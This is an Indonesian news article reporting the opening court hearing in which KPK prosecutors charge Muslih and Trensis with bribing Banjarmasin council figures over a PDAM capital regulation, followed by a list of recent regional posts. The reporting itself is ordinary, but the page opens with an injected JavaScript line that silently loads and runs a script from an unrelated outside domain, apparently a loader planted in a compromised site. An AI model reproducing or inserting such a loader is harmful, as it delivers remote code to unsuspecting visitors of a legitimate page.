(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Dijerat Jaksa KPK dengan Pasal Berlapis, Muslih dan Trensis Tegang di Pengadilan


Tim JPU yang diketuai Ferdian Adi Nugroho didampingi Wayan Riana dan Amir Nor Dianto lantas membacakan sejumlah poin dalam berkas dakwaan setebal 23 halaman. Jaksa dalam dakwaannya menjerat Muslih dan Trensis selaku pemberi suap ke bekas Ketua DPRD Banjarmasin Iwan Rusmali bersama Ketua Pansus Perda PDAM, Andi Effendi menggunakan pasal berlapis.

Yakni, kedua terdakwa dinilai melanggar  Pasal 5 ayat (1) huruf a atau pasal 5 ayat (1) huruf b atau Pasal 13 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 jo Pasal 55 ayat (1) ke-1 KUHP.

Proses pembacaan dakwaan itu berlangsung singkat. Namun, di dalam berkas tipis itu juga sembat disebut nama Iwan Rusmali dan Andi Effendi yang berkas perkaranya displit terpisah.

“Iwan Rusmali meminta uang untuk dana pribadinya, sedangkan Andi Effendi meminta uang untuk kelancaran sidang paripurna saat agenda pengesahan raperda tentang pembahasan penyertaan modal PDAM Banjarmasin oleh pemko Banjarmasin dan dibagikan kepada anggota lain dari berbagai fraksi.” kata JPU.

Usai pembacaan dakwaan yang berlangsung sekitar 45 menit tersebut, sidang ditutup oleh ketua majelis hakim, Sihar Hamonangan Purba SH. Sidang selanjutnya akan dilanjutkan pada Selasa (28/11) dengan agenda pemeriksaan sejumlah saksi.

Foto: Ammar

Selesai sidang pertama tersebut, Muslih yang meninggalkan ruang sidang sempat memberikan keterangan kepada awak media yang sudah menunggunya.

“Ya ikuti saja kita buktikan di persidangan ini. Kita kooperatif saja, akan ada beberapa hal yang nanti disampaikan (dalam sidang selanjutnya, red), ” kata Muslih.

Sidang kemarin dipenuhi pengunjung, terutama dari pihak keluarga terdakwa. Saat menunggu sidang dimulai, beberapa keluarga juga nampak menjenguk Muslih dan Trensis di ruang tahanan sementara di PN Tipikor Banjarmasin.

Ada yang berbeda yang beda dalam sidang kemarin. Diantaranya adanya CCTV yang memantau jalannya sidang untuk dilaporkan ke KPK. (ammar)


Page: 1 2

Desy Arfianty

Recent Posts

Turun Rp59 Miliar, Komisi I DPRD Kapuas RDP Alokasi Dana Desa 2026

KANALKALIMANTAN.COM, KUALA KAPUAS - Rapat Dengar Pendapat (RDP) dilaksanakan Komisi I Dewan Perwakilan Rakyat Daerah… Read More

22 jam ago

Sumur Bor CSR Pertamina untuk Warga Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota Banjarbaru mengapresiasi kontribusi dunia usaha mendukung pembangunan daerah melalui peresmian… Read More

24 jam ago

Olahraga Senam Perkuat Kebersamaan Antarpegawai

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas melaksanakan senam bersama sebagai bagian dalam mendorong pola… Read More

1 hari ago

Bupati Kapuas Resmikan Kantor Kelurahan Selat Hulu

KANALKALIMANTAN.COM, KUALA KAPUAS - Kantor Kelurahan Selat Hulu yang berlokasi di Jalan Cilik Riwut Gang… Read More

1 hari ago

13 Februari Hari Persatuan Ahli Farmasi Indonesia: Ini Sejarahnya

KANALKALIMANTAN.COM - Insan farmasi di Indonesia setiap tanggal 13 Februari memperingati Hari Persatuan Ahli Farmasi… Read More

2 hari ago

BI Kalsel Selenggarakan SERAMBI 2026, Dukung Kebutuhan Uang Kartal Periode Ramadan dan Idulfitri

KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar kick off… Read More

2 hari ago

This website uses cookies.